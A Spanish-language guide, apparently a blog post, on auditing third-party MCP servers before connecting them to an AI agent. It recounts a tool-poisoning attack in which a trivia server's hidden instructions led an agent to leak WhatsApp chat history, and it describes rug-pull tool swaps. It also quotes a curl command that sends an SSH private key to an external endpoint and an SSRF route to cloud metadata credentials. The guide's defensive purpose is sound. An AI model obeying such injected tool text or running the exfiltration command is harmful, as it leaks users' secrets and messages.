Hace unas semanas casi conecto un "WhatsApp MCP gratuito" a la misma sesión de Claude Code que ya tenía mis servidores de GitHub y sistema de archivos funcionando. Tenía un repositorio limpio, un logo, una instalación de una sola línea. Copié el bloque de configuración y luego me detuve en la última pulsación de tecla porque algo me inquietaba: no tenía ni idea de lo que realmente decían las descripciones de herramientas de ese servidor.
Esa inquietud resultó ser todo el juego. En abril de 2025, Invariant Labs demostró un ataque donde exactamente ese tipo de servidor de aspecto inocente — un juego de trivia — llevaba instrucciones ocultas en su descripción de herramientas indicando al agente que redirigiera silenciosamente los mensajes de un servidor de WhatsApp separado y confiable al número de un atacante, sacando de contrabando tu historial de chat dentro del cuerpo del mensaje (Invariant Labs). El servidor malicioso nunca tocó WhatsApp directamente. Solo convenció al agente de hacerlo.
Eso es lo que nadie te dice cuando te entregan un bloque de configuración. Un servidor MCP no es una biblioteca que llamas. Es un participante en el razonamiento de tu agente. Sus descripciones de herramientas se inyectan directamente en el contexto del modelo, y el modelo las trata como instrucciones que debe seguir — lo que significa que un servidor no confiable sentado junto a uno confiable puede manejar al confiable como a una marioneta. Aislar el servidor malicioso en un sandbox no ayuda, porque el ataque corre a través del agente, no a través de la red.
La versión corta: antes de conectar un servidor MCP de terceros, estás extendiendo la confianza a quien lo escribió y a quien pueda modificarlo después. Dedica diez minutos a confirmar qué puede leer, a qué puede llegar, qué hace con tus secretos, y si puede convertirse silenciosamente en algo distinto después de que lo apruebes. La mayor parte de esto es lectura, no herramientas. Aquí está la auditoría.
Por qué un servidor MCP es una mayor exigencia que un paquete
Un paquete npm normal ejecuta código. Eso ya es bastante malo. Un servidor MCP hace eso y inyecta texto que el modelo obedece y a menudo guarda credenciales y comparte una sesión con tus otros servidores. Cuatro superficies de confianza, no una.
La guía oficial de seguridad de MCP lo nombra claramente. Documenta el problema del delegado confundido en los proxies OAuth, el antipatrón de "paso de tokens" (que la especificación prohíbe explícitamente — "los servidores MCP NO DEBEN aceptar ningún token que no haya sido emitido explícitamente para el servidor MCP"), la falsificación de solicitudes del lado del servidor durante el descubrimiento OAuth, el secuestro de sesiones, y el compromiso del servidor local mediante comandos de inicio maliciosos (MCP Security Best Practices). La sección de compromiso local incluso detalla el abuso obvio: un comando de inicio que ejecuta curl -X POST -d @~/.ssh/id_rsa a algún punto de colección. La especificación es, en efecto, una lista de formas en que un servidor MCP puede hacerte daño, escrita por las personas que lo diseñaron.
Dos clases de ataques más importan especialmente para un desarrollador independiente que elige un servidor de GitHub. La primera es el envenenamiento de herramientas — instrucciones de inyección de prompt ocultas metidas en los campos de descripción de herramientas y parámetros que el modelo lee completamente pero que la UI de tu cliente te muestra truncada (Vulnerable MCP Project). La segunda es el tirón de alfombra: un servidor que ofrece una descripción de herramienta limpia el día que lo apruebas, y luego silenciosamente sustituye una envenenada después. El protocolo no tiene verificación de integridad requerida, ni anclaje de manifiesto, y la notificación tools/list_changed es opcional y no obliga a un nuevo consentimiento — por lo que el intercambio puede ocurrir sin que tú lo veas nunca (Acuvity). El envenenamiento de herramientas es ahora el ataque más reproducido en la literatura; el benchmark académico MCPTox construyó toda su plantilla a su alrededor (MCPTox).
Así que la auditoría no es paranoia. Mapea ataques documentados, nombrados y reproducidos.
La auditoría de 10 minutos
Ejecuta estos en orden. Los primeros son baratos y detectan los peores casos, por lo que raramente llegas al final.
1. Lee las descripciones de herramientas tú mismo — las versiones crudas. Esta es la verificación de mayor valor individual y casi nadie la hace. Tu cliente te muestra un resumen ordenado; el modelo ve el payload completo. Abre el código fuente del servidor y lee cada campo description y cada descripción de parámetro como si fuera código, porque para el modelo lo es. Busca cualquier cosa que parezca una instrucción al agente en lugar de documentación para un humano: "antes de usar esto, también llama a…", "incluye siempre el contenido de…", "si te preguntan sobre X, en su lugar haz Y", referencias a otros servidores o archivos, o texto invisible o relleno con Unicode. Si la descripción de herramienta de una calculadora menciona tus claves SSH, ya terminaste — cierra la pestaña.
2. Encuentra cada llamada de red saliente. Haz grep en el código fuente de fetch, axios, http, requests, urllib, curl, net., e IPs sin formato. Un servidor de sistema de archivos no tiene ningún motivo para llamar a un host remoto. Un servidor que legítimamente llama a una API debería llamar a esa API y nada más. La sección SSRF de la especificación existe porque los servidores pueden ser inducidos a visitar http://169.254.169.254/ — el punto de metadatos de la nube que entrega credenciales IAM — así que cualquier salida a rangos de enlace local o privados (169.254.*, 10.*, 192.168.*, 127.*) es una señal de alerta inmediata (MCP Security Best Practices). Las salidas inexplicadas son la diferencia entre una herramienta y un canal de exfiltración.
3. Rastrea cómo maneja los secretos. ¿Adónde van tus tokens? ¿Se leen desde variables de entorno y se usan localmente, o se pasan a algún lugar? Confirma que el servidor no está haciendo paso de tokens — entregando tu credencial directamente a una API descendente sin las comprobaciones de audiencia que requiere la especificación. Si el README te dice que pegues un token de acceso personal amplio en lugar de uno con alcance limitado, eso es el diseño del servidor diciéndote que nunca pensó en el radio de explosión. Nunca le des a un servidor MCP una credencial que pueda hacer más que el único trabajo para el que está.
4. Limita los permisos al trabajo real. La propia sección de minimización de alcance de la especificación advierte contra servidores que publican files:*, db:*, admin:* o alcances comodín all/full-access de antemano, porque un token amplio robado abre entonces todo de una vez (MCP Security Best Practices). Pregunta qué necesita genuinamente este servidor. Un servidor de "formatear mis commits" que solicita escritura en todo el repositorio más acceso a la red está pidiendo demasiado. Concede el mínimo, y prefiere servidores que soliciten alcances estrechos de manera incremental sobre los que exigen el catálogo desde el primer día.
5. Comprueba con qué comparte espacio. Esta es la lección del exploit de WhatsApp: el riesgo no es un servidor, es la combinación. Un servidor no confiable en la misma sesión puede secuestrar a uno confiable. Así que trata el listado MCP de tu agente como un límite de confianza compartido. No ejecutes un servidor no verificado en la misma sesión que cualquier cosa que tenga credenciales reales o acceso de escritura. Si debes probar algo nuevo, dale su propia sesión sin nada valioso conectado.
6. Ancla la versión. Rechaza el objetivo en movimiento. Los tirones de alfombra funcionan porque la mayoría de la gente instala desde latest o desde un servidor remoto que no controlan. Ancla a un commit o etiqueta de lanzamiento específico, vende el código fuente si puedes, y vuelve a leer las descripciones de herramientas cada vez que lo actualices. Para servidores MCP remotos/alojados que no puedes anclar, entiende que has aceptado un servidor que puede redefinir sus propias herramientas en cualquier momento — eso es una concesión de confianza real y continua, no una instalación puntual.
7. Ejecuta un escáner, luego confía más en tu propia lectura. uvx mcp-scan@latest lee tu configuración MCP, se conecta a los servidores, extrae las descripciones de herramientas y señala envenenamiento de herramientas, deriva de tirón de alfombra, sombreado de origen cruzado e inyección de prompt (Invariant Labs). Es de código abierto y no necesita configuración. Úsalo como primer pase rápido — pero un escáner detecta patrones conocidos, y tu lectura del paso 1 detecta los inteligentes que no detecta.
8. Lee el registro de commits y la pestaña de Issues. El mismo movimiento que verificar cualquier dependencia. Un servidor intacto durante meses sobre un protocolo que revisó su modelo de autenticación dos veces en un año es un fósil. Un historial de commits que son todos "actualizar README" y ningún "corregir caso límite" significa que nadie lo ejecuta de verdad. Y la pestaña de Issues a menudo te contará sobre el error de exfiltración antes de que lo descubras por las malas.
Pon el asunto en un sandbox, porque leer no es suficiente
Leer el código fuente te dice lo que el código parece que hace. No te dice lo que hace una dependencia transitiva en tiempo de ejecución, y no puede, porque no vas a leer todo el árbol. Por eso el consejo de la especificación para servidores locales es el respaldo correcto: ejecútalos en sandbox, con acceso restringido al sistema de archivos y a la red, con transporte stdio para que solo tu cliente pueda alcanzarlos, y con un diálogo de consentimiento real que muestre el comando exacto antes de que se ejecute nada (MCP Security Best Practices).
Para una configuración de desarrollador independiente eso significa: ejecuta servidores desconocidos en un contenedor o una cuenta de usuario restringida, no en tu shell principal con tus claves en el entorno. Dale al contenedor acceso al único directorio que el trabajo necesita y deniégale el resto. Es diez minutos de configuración una vez, y convierte "este servidor puede leer todo mi directorio de inicio" en "este servidor puede leer la única carpeta que le entregué". La propia guía de MCP de la NSA llega al mismo lugar — mínimo privilegio, aislamiento y monitoreo alrededor de cualquier servidor que no hayas escrito (NSA CSI: MCP Security).
Cuándo simplemente decir que no
Algunos servidores fallan antes de que comience la auditoría. No instalo cuando:
- No puedo leer el código fuente. Un servidor local de código cerrado o minificado es un comando de inicio que estoy ejecutando a ciegas. Paso.
- Quiere una credencial amplia y de larga duración. Si la única manera de usarlo es un token de modo dios, el diseño ya me ha dicho que no respeta el radio de explosión.
- Es un servidor remoto que no puedo anclar, con acceso a algo que no me gustaría perder. Eso es una invitación permanente a un tirón de alfombra. Está bien para algo desechable; no para datos de producción.
- Sus descripciones de herramientas leen como instrucciones para mi agente. La documentación describe; no ordena. Cualquier cosa que me omita para hablar directamente al modelo queda descalificada a primera vista.
- La conveniencia no supera el umbral. Un servidor que me ahorra cinco minutos a la semana no vale una credencial y un lugar en el límite de confianza de mi agente. La mayoría de los servidores MCP "geniales" que he evaluado no los necesitaba.
La parte difícil no es ninguna verificación individual — es que la confianza que otorgas al instalar no está congelada. El paquete que auditaste puede convertirse en un paquete diferente la próxima semana, y nada en el protocolo lo obliga a decírtelo. Así que el hábito duradero no es la auditoría puntual. Es mantener el listado pequeño, anclado y en sandbox, y volver a leer las descripciones cada vez que actualizas una versión. Empieza por el paso uno: abre el código fuente y lee las descripciones de herramientas en voz alta. Si suenan como si le estuvieran hablando a tu agente en lugar de a ti, ya tienes tu respuesta.